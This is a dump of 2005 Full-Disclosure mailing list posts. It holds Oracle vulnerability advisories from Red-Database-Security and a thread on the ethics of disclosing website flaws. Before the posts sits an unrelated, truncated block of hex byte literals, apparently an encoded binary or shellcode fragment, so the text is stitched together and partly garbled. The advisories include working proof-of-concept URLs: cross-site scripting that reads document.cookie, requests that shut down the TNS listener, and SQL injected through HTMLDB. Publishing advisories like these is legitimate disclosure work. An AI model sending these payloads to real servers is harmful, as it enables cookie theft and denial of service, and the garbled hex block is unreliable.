"\xDF\xDD\x13\x16\xDC\xFC\xEA\x2C\x4A\x33"
"\x16\x62\xFD\x9C\x41\x33\x1F\xFC\x78\x9C"
"\x12\x5C\x95\x48\x02\x16\xF5\x9C\x02\x9C"
"\x1F\xFC\x40\xD4\x76\x61\x73\xA7\x5B\xE8"
"\xC8\x43\x41\x41\x76\x17\x1F\x17\x1E\x40"
"\x76\x17\x1E\x17\x1E\xE8\xCD\x49\x1F\xF7"
"\x56\x97\x26\x4B\x6B\xED\xD8\x17\x1E\x7F"
"\x51\x14\xD9\xA8\xE1\xC1\x44\x43\xE1\xC4"
"\x76\xB2\x09\x17\x62\xE8\xC8\x7F\x7B\x6F"
"\x7B\x17\x76\x78\x73\x70\x30\x9E\xFF\x41"
"\x74\x17\x74\x17\x74\x13\x74\x17\x74\x17"
"\x74\x15\x4F\xE8\xCD\x49\x4E\x7F\x01\x6E"
"\x14\xFF\xE1\xC1\x46\x4F\x48\x47\x74\x17"
"\xF5\x4B\x44\x45\x76\xE7\x1D\x17\x1E\x96"
"\xDC\x13\x1E\x17\x1E\x45\x4E\xE8\xCD\x7F"
"\xE5\x80\xE3\x18\xE1\xC1\x46\x4F\x48\x47"
"\xE1\xC4\x40\x7F\x60\xCF\xFC\x64\xE1\xC1"
"\x97\x0B\x3A\x7F\x86\xE9\x94\x19\xE1\xC1"
"\x47\x9E\xFF\x96\xDF\x1F\x1E\x17\x1E\x7D"
"\x1E\x46\xE1\xC4\xDD\x26\xE8\x73\x95\x61"
"\x06\xBA\xB3\x9C\x76\xF3\x53\x71\x2F\xFA"
"\x78\x96\x63\x17\x53\x4D\x6B\xE3\x40\xFE"
"\x5C\xE8\xE1\xE8\xF6\x88\xE1\xE8\xE1\x56"
"\x5C\x54\x5A\x5A\x44\x87\x1E\x14\x1E\x17"
"\x1E\x13\x1E\x17\x1E\xE8\xE1\x17\x1E\xAF"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x57\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x97\x1E\x17\x1E\x19\x01\xAD"
"\x10\x17\xAA\x1E\xD3\x36\xA6\x16\x52\xDA"
"\x3F\x43\x76\x7E\x6D\x37\x6E\x65\x71\x70"
"\x6C\x76\x73\x37\x7D\x76\x70\x79\x71\x63"
"\x3E\x75\x7B\x37\x6C\x62\x70\x37\x77\x79"
"\x3E\x53\x51\x44\x3E\x7A\x71\x73\x7B\x39"
"\x13\x1A\x14\x33\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x47\x5B\x17\x1E\x5B\x1F\x16\x1E\xCF"
"\x35\x2D\x5D\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\xF7\x1E\x18\x1F\x1C\x1F\x15\x2C\x47"
"\x1C\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x57\x1C\x17\x1E\xB7\x1F\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x57\x1E\x07\x1E\x17"
"\x1E\x07\x1E\x17\x1E\x13\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x13\x1E\x17\x1E\x17\x1E\x17"
"\x1E\xE7\x1D\x17\x1E\xB7\x1F\x17\x1E\x17"
"\x1E\x17\x1E\x14\x1E\x17\x1E\x17\x1E\x07"
"\x1E\x17\x0E\x17\x1E\x17\x1E\x07\x1E\x17"
"\x0E\x17\x1E\x17\x1E\x17\x1E\x07\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x0F"
"\x1D\x17\x1E\x3F\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x77\x1D\x17"
"\x1E\x37\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x17"
"\x1E\x17\x1E\x17\x1E\x17\x1E\x17\x1E\x39"
"\x6A\x72\x66\x63\x1E\x17\x1E\x5F\x1C

Re: [Full-disclosure] Websites vulnerabilities disclosure

[Georgi Guninski]

On Fri, Oct 07, 2005 at 09:57:02AM +0400, offtopic wrote:
> PS. About "ethic". 

"Ethics in money driven environments. Manipulation tool or reality?"

some romantic lawyer may have written a phd thesis on it.

-- 
where do you want bill gates to go today?

















___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Cross-Site-Scripting Vulnerability in Oracle XMLDB

[Kornbrust, Alexander]

Cross-Site-Scripting Vulnerability in Oracle XMLDB 
##

 NameCross-Site-Scripting Vulnerability in Oracle XMLDB
 Systems AffectedOracle Database 9i Rel. 2
 SeverityLow Risk 
 CategoryCross Site Scripting (CSS/XSS)
 Vendor URL  http://www.oracle.com 
 This advisory
http://www.red-database-security.com/advisory/oracle_xmldb_css.html
 Author  Alexander Kornbrust (ak at
red-database-security.com) 
 Date7 October 2005 (V 1.00)

  

Details

Oracle XML DB is a feature of the Oracle Database. It provides a
high-performance
, native XML retrieval and storage technology. It fully absorbs the W3C
XML data 
model into the Oracle Database, and provides new standard access methods
for 
navigating and querying XML. 

Oracle XML DB is vulnerable against cross site scripting. 


Affected Products
#
Oracle Database 9i Release 2 


Testcase 

http://scott:[EMAIL PROTECTED]:8080/oradbalert('Hi')/SCOTT
/EMP


Affected systems 

Tested with Oracle Database 9.0.2.4. 


Patch Information
#
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005).
Oracle 
forgot to inform Red-Database-Security that this bug is fixed with CPU
July 2005.

All already published alerts are available on the web site of
Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html


History
###
9-oct-2003 Oracle secalert was informed

10-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing
Red-Database-Security 
that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory


(c) 2005 by Red-Database-Security GmbH - last update 7-october-2005 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Shutdown TNS Listener via Oracle iSQL*Plus

[Kornbrust, Alexander]

Shutdown TNS Listener via Oracle iSQL*Plus 
##


 NameShutdown TNS Listener via  Oracle iSQL*Plus
 Systems AffectedOracle Database 9i Rel. 2
 SeverityMedium Risk 
 CategoryDenial of Service
 Vendor URL  http://www.oracle.com 
 This advisory
http://www.red-database-security.com/advisory/oracle_isqlplus_shutdown.h
tml
 Author  Alexander Kornbrust (ak at
red-database-security.com) 
 Date7 October 2005 (V 1.00)

  

Details
###
Oracle iSQL*Plus is a web interface to SQL*Plus. The web interface can
be used to stop the (unprotected) TNS Listener. 


Affected Products
#
Oracle Database 9i Release 2 


Testcase 

http://server:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D%
28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29
%28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%
3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon

==> ERROR: 

ORA-12564: TNS:connection refused 



Excerpt from the listener.log:

28-OCT-2003 15:14:39 *
(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(USER=Hacker)(CID=(PROGRAM
=c:\oracle\ora92\bin\isqlplus)(HOST=LOCALHOST)(USER=SYSTEM))) * stop * 0




Affected systems 

Tested with Oracle Database 9.0.2.4. 


Patch Information
#
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005).
Oracle 
forgot to inform Red-Database-Security that this bug is fixed with CPU
July 2005.

All already published alerts are available on the web site of
Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html



History
###
28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing
Red-Database-Security 
that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory


(c) 2005 by Red-Database-Security GmbH - last update 7-october-2005 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Shutdown TNS Listener via Oracle Forms Servlet

[Kornbrust, Alexander]

Shutdown TNS Listener via Oracle Forms Servlet 
##


 NameShutdown TNS Listener via  Oracle Forms Servlet
 Systems AffectedOracle Forms
 SeverityMedium Risk 
 CategoryDenial of Service
 Vendor URL  http://www.oracle.com 
 This advisory
http://www.red-database-security.com/advisory/oracle_forms_shutdown.html
 Author  Alexander Kornbrust (ak at
red-database-security.com) 
 Date7 October 2005 (V 1.00)

  

Details
###
The forms servlet can be used to stop the (unprotected) TNS Listener. 


Affected Products
#
Oracle Forms 


Testcase 
#
http://server:/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(
DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521
)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&de
bug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES


Excerpt from the listener.log:

28-OCT-2003 14:44:46 *
(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(CID=(PROGRAM=C:\oracle\or
adev9i\bin\ifweb90.exe)(HOST=SERVER)(USER=Administrator))) * stop * 0




Affected systems 
#
All versions of Oracle Forms until CPU July 2005. 


Patch Information
#
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005).
Oracle forgot to inform Red-Database-Security that this bug is fixed
with CPU July 2005.


Workaround
##
Protect the TNS Listener with a password.


History
###
28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing
Red-Database-Security that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory


(c) 2005 by Red-Database-Security GmbH - last update 7-october-2005 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Plaintext Password Vulnerabilitiy during Installation of Oracle HTMLDB

[Kornbrust, Alexander]

Plaintext Password Vulnerabilitiy during Installation of Oracle HTMLDB 
###

 NameCross-Site-Scripting Vulnerabilities in Oracle
XMLDB
 Systems AffectedOracle HTMLDB
 SeverityLow Risk 
 CategoryPlaintext Password of SYS is logged during
Installation of HTMLDB
 Vendor URL  http://www.oracle.com 
 This advisory
http://www.red-database-security.com/advisory/oracle_htmldb_plaintext_pa
ssword.html
 Author  Alexander Kornbrust (ak at
red-database-security.com) 
 Date7 October 2005 (V 1.00)

  

Details
###
Oracle HTML DB is a rapid web application development tool for the
Oracle 
database. Using only a web browser and limited programming experience,
it is 
possible to develop and deploy professional-looking applications that
are both 
fast and secure. 

During the manuell installation of HTMLDB the SYS password is logged in
plaintext 
into the file install.lst. The SYS password should never be stored in a
text file 
in clear text. 


Affected Products
#
Oracle HTMLDB 


Testcase 


Extract from install.lst: 

>> Is this a (1) New install or an (2) Upgrade? [1] 
>> What is your connect string (Enter for none)? [] ora902 
>> What is your Oracle SYS password? [CHANGE_ON_INSTALL]
mysecretpassword1 



Patch Information
#
This bug is fixed with Critical Patch Update April 2005 (CPU April
2005). Oracle forgot 
to inform Red-Database-Security that this bug is fixed with CPU April
2005.
Oracle also forgot to mention Red-Database-Security in the credits of
CPU April 2005.


All already published alerts are available on the web site of
Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html


Workaround
##
Delete the file install.lst manually.


History
###
26-jan-2004 Oracle secalert was informed

27-jan-2004 Bug confirmed

13-apr-2005 Oracle published CPU April 2005 without informing
Red-Database-Security 
that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory


(c) 2005 by Red-Database-Security GmbH - last update 7-october-2005 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Cross-Site-Scripting Vulnerabilities in Oracle HTMLDB

[Kornbrust, Alexander]

Cross-Site-Scripting Vulnerabilities in Oracle HTMLDB 
#

 NameCross-Site-Scripting Vulnerabilities in Oracle
HTMLDB
 Systems AffectedOracle HTMLDB
 SeverityMedium Risk 
 CategoryCross Site Scripting (CSS/XSS)
 Vendor URL  http://www.oracle.com 
 This advisory
http://www.red-database-security.com/advisory/oracle_htmldb_css.html
 Author  Alexander Kornbrust (ak at
red-database-security.com) 
 Date7 October 2005 (V 1.00)

  

Details
###
Oracle HTML DB is a rapid web application development tool for the
Oracle 
database. Using only a web browser and limited programming experience,
it 
is possible to develop and deploy professional-looking applications that

are both fast and secure. 

HTMLDB contains some Cross Site Scritpting vulnerabilities. An attacker 
could abuse these security bugs to execute own SQL statements in the 
database by sending specially crafted HTMLDB url to a HTMLDB user. 


Affected Products
#
Oracle HTMLDB 


Testcase: (displays the current date (sysdate from a select-command) in
a javascript message box)
#

http://htmldb.oracle.com/pls/otn/f?p=4500:alert(document.cookie);59:3239
664590547916206

http://htmldb.oracle.com/pls/otn/wwv_flow.accept?p_flow_id=4500&p_flow_s
tep_id=3&p_instance=428576542275032284&p_page_submission_id=3334304&p_re
quest=RUN&p_arg_names=4407099841&p_t01=KORNBRUST&p_arg_names=99887653550
5&p_t02=select sysdate||'alert("'||sysdate||'");' from
dual%3B&p_arg_names=57198154917561018&p_t03=&p_arg_names=509238151638600
37&p_t04=&p_arg_names=64882231271599126&p_t05=&p_arg_names=5706451897538
5648&p_t06=&p_arg_names=57356416829253124&p_t07=&p_arg_names=30322022623
394012&p_t08=&p_arg_names=106590927281022368&p_t09=&p_md5_checksum= 



Patch Information
#
This bug is fixed with Critical Patch Update April 2005 (CPU April
2005). Oracle forgot 
to inform Red-Database-Security that this bug is fixed with CPU April
2005.
Oracle also forgot to mention Red-Database-Security in the credits of
CPU April 2005. 


All already published alerts are available on the web site of
Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html


History
###
18-feb-2004 Oracle secalert was informed

19-feb-2004 Bug confirmed

13-apr-2005 Oracle published CPU April 2005 without informing
Red-Database-Security 
that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory


(c) 2005 by Red-Database-Security GmbH - 7-october-2005 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Cross-Site-Scripting Vulnerability in Oracle iSQL*Plus

[Kornbrust, Alexander]

Cross-Site-Scripting Vulnerability in Oracle iSQL*Plus 
##

 NameCross-Site-Scripting Vulnerability in Oracle
iSQLPlus
 Systems AffectedOracle Database 9i Rel. 2
 SeverityLow Risk 
 CategoryCross Site Scripting (CSS/XSS)
 Vendor URL  http://www.oracle.com
 This advisory
http://www.red-database-security.com/advisory/oracle_isqlplus_css.html
 Author  Alexander Kornbrust (ak at
red-database-security.com) 
 Date7 October 2005 (V 1.00)

  

Details
###
Oracle iSQL*Plus is a web interface to SQL*Plus and vulnerable against
cross site scripting.


Affected Products
#
Oracle Database 9i Release 2 


Testcase 


1. Start iSQLPlus and login as user scott (http://myserver/isqlplus )

2. set markup HTML TABLE >alert(document.cookie);

3. select a table (e.g. select * from cat)

==> a window pops up



Affected systems 

Tested with Oracle Database 9.0.2.4. 


Patch Information
#
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005).
Oracle 
forgot to inform Red-Database-Security that this bug is fixed with CPU
July 2005.

All already published alerts are available on the web site of
Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html


History
###
5-nov-2003 Oracle secalert was informed

6-nov-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing
Red-Database-Security 
that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory


(c) 2005 by Red-Database-Security GmbH - last update 7-october-2005 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Websites vulnerabilities disclosure

[Peer Janssen]

Raghu Chinthoju wrote:


I say, "... hey listen! your house entrance door latch isn't strong
enough.. there are only 4 screws instead 16, which is the practice..
you have a risk of some one easily barging into your house ...". For
some reason you don't respond.. I publish it in the local news paper
that ".. Mr. X's door latch is week and any one can break it easily
..." Do you think it is ethical??? I seriously think not.
 

Isn't it more like saying publicly: All those who have a lock of the 
type "X" have a lock which only has 4 screws instead of 16. So that 
everybody could check.


But then, what could they do? Maybe not everybody is reading the paper 
or has the means to change one's lock.


Some may try to sue the lock vendor, but did he have the means to do 
better? Analysing all this may complicate things even further. (And 
then: What could would come out of it? Attempting to change all these 
locks might bankrupt the vendor, create more unemployed, etc.)


It's not easy to solve all this without leaving one's humanity.
I guess the only lasting solution is to generally strive to aquire more 
(human and material) quality.


I also suppose that the recommandation of the Gospel applies here: 
First, talk to the people (customers, vendors, crackers) directly and 
privately, if they won't listen, take some people with you to talk to 
them, if they still don't listen tell the whole community that they do 
the bad things they do.



More over, going by my personal experience, I think 5 out of 10
websites[1] would be vulnerable to some kind of security issue, like
running vulnerable versions of the web server, improper input
validation etc, which are just specific them and their clients. Would
would be the interest of general public on such issues?

Probably that people will have more incentive to care about security and 
their work, and probably that systems which allow easier updates will 
become more widespread.



I don't think
any one from those sites would be part of bugtraq or FD as you
mentioned that they are not vendors. Your publication will only
increase the magnitude of their risk and doesn't do good to any one.
 


I appreciate your pragmatic approach.


If you have time, try to provide them with the required knowledge or
fix. If you cant, just leave them at their fate and move on..

Raghu
 


Cheers
Peer


[1] I dont have any data to support this.. If you dont agree, please
do so. You have every right to :)


On 10/6/05, offtopic <[EMAIL PROTECTED]> wrote:
 


Hi List.
I need your opinion.
Recently I found multiply vulnerabilities in several sites. some sites behold to 
security-related firms but not software vendors. I'm trying to contact that companies 
under rfpolicy several times but don't receive any response on receive something like 
"what injection your talking about?".

I want to know - is it "ethical" to use standard vulnerability disclosure 
policies to public websites? Which fird-party can't be user as coordinator, like CERT/CC?
Or in other worlds - who should care about Web-sites security?
Thank you.

(c)oded by [EMAIL PROTECTED]


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

RE: [Full-disclosure] Websites vulnerabilities disclosure

[Fielder, Kevin \(GE Consumer Finance\)]

Hi all,

Surely a better analogy would be you store many peoples property in your
home that has an improperly fitted front door.

You make money from the "secure" storing of this property, and the
customers assume that their property is safe with you.

If you leave the door in it's current state and refuse to fix it do your
customers (and potential customers) deserve to know?

I believe that businesses should be allowed a reasonable time to resolve
issues, but if they refuse and continue to put clients data and
businesses at risk then disclosure is not a bad thing.  If you found the
vulnerability sooner or later someone with nefarious intent will also.

Just my opinion of course (first post on this list as well..!)

Cheers

K

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Raghu
Chinthoju
Sent: 07 October 2005 10:09
To: offtopic
Cc: full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Websites vulnerabilities disclosure

I say, "... hey listen! your house entrance door latch isn't strong
enough.. there are only 4 screws instead 16, which is the practice..
you have a risk of some one easily barging into your house ...". For
some reason you don't respond.. I publish it in the local news paper
that ".. Mr. X's door latch is week and any one can break it easily ..."
Do you think it is ethical??? I seriously think not.

More over, going by my personal experience, I think 5 out of 10
websites[1] would be vulnerable to some kind of security issue, like
running vulnerable versions of the web server, improper input validation
etc, which are just specific them and their clients. Would would be the
interest of general public on such issues? I don't think any one from
those sites would be part of bugtraq or FD as you mentioned that they
are not vendors. Your publication will only increase the magnitude of
their risk and doesn't do good to any one.
If you have time, try to provide them with the required knowledge or
fix. If you cant, just leave them at their fate and move on..

Raghu

[1] I dont have any data to support this.. If you dont agree, please do
so. You have every right to :)


On 10/6/05, offtopic <[EMAIL PROTECTED]> wrote:
> Hi List.
> I need your opinion.
> Recently I found multiply vulnerabilities in several sites. some sites
behold to security-related firms but not software vendors. I'm trying to
contact that companies under rfpolicy several times but don't receive
any response on receive something like "what injection your talking
about?".
>
> I want to know - is it "ethical" to use standard vulnerability
disclosure policies to public websites? Which fird-party can't be user
as coordinator, like CERT/CC?
> Or in other worlds - who should care about Web-sites security?
> Thank you.
>
> (c)oded by [EMAIL PROTECTED]
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Websites vulnerabilities disclosure

[Raghu Chinthoju]

I say, "... hey listen! your house entrance door latch isn't strong
enough.. there are only 4 screws instead 16, which is the practice..
you have a risk of some one easily barging into your house ...". For
some reason you don't respond.. I publish it in the local news paper
that ".. Mr. X's door latch is week and any one can break it easily
..." Do you think it is ethical??? I seriously think not.

More over, going by my personal experience, I think 5 out of 10
websites[1] would be vulnerable to some kind of security issue, like
running vulnerable versions of the web server, improper input
validation etc, which are just specific them and their clients. Would
would be the interest of general public on such issues? I don't think
any one from those sites would be part of bugtraq or FD as you
mentioned that they are not vendors. Your publication will only
increase the magnitude of their risk and doesn't do good to any one.
If you have time, try to provide them with the required knowledge or
fix. If you cant, just leave them at their fate and move on..

Raghu

[1] I dont have any data to support this.. If you dont agree, please
do so. You have every right to :)


On 10/6/05, offtopic <[EMAIL PROTECTED]> wrote:
> Hi List.
> I need your opinion.
> Recently I found multiply vulnerabilities in several sites. some sites behold 
> to security-related firms but not software vendors. I'm trying to contact 
> that companies under rfpolicy several times but don't receive any response on 
> receive something like "what injection your talking about?".
>
> I want to know - is it "ethical" to use standard vulnerability disclosure 
> policies to public websites? Which fird-party can't be user as coordinator, 
> like CERT/CC?
> Or in other worlds - who should care about Web-sites security?
> Thank you.
>
> (c)oded by [EMAIL PROTECTED]
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Interesting idea for a covert channel or I just didn't research enough?

[Polarizer]

The scenario is the following. The victim is a host with a host-level 
firewall which is blocking *all* incoming traffic. Somehow the attacker 
still needs to communicate with a backdoor planted in this host. 


Sounds to me like another variation of port knocking[1].

[1] http://www.linuxjournal.com/article/6811

the polarizer
http://www.codixx.de/polarizer.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/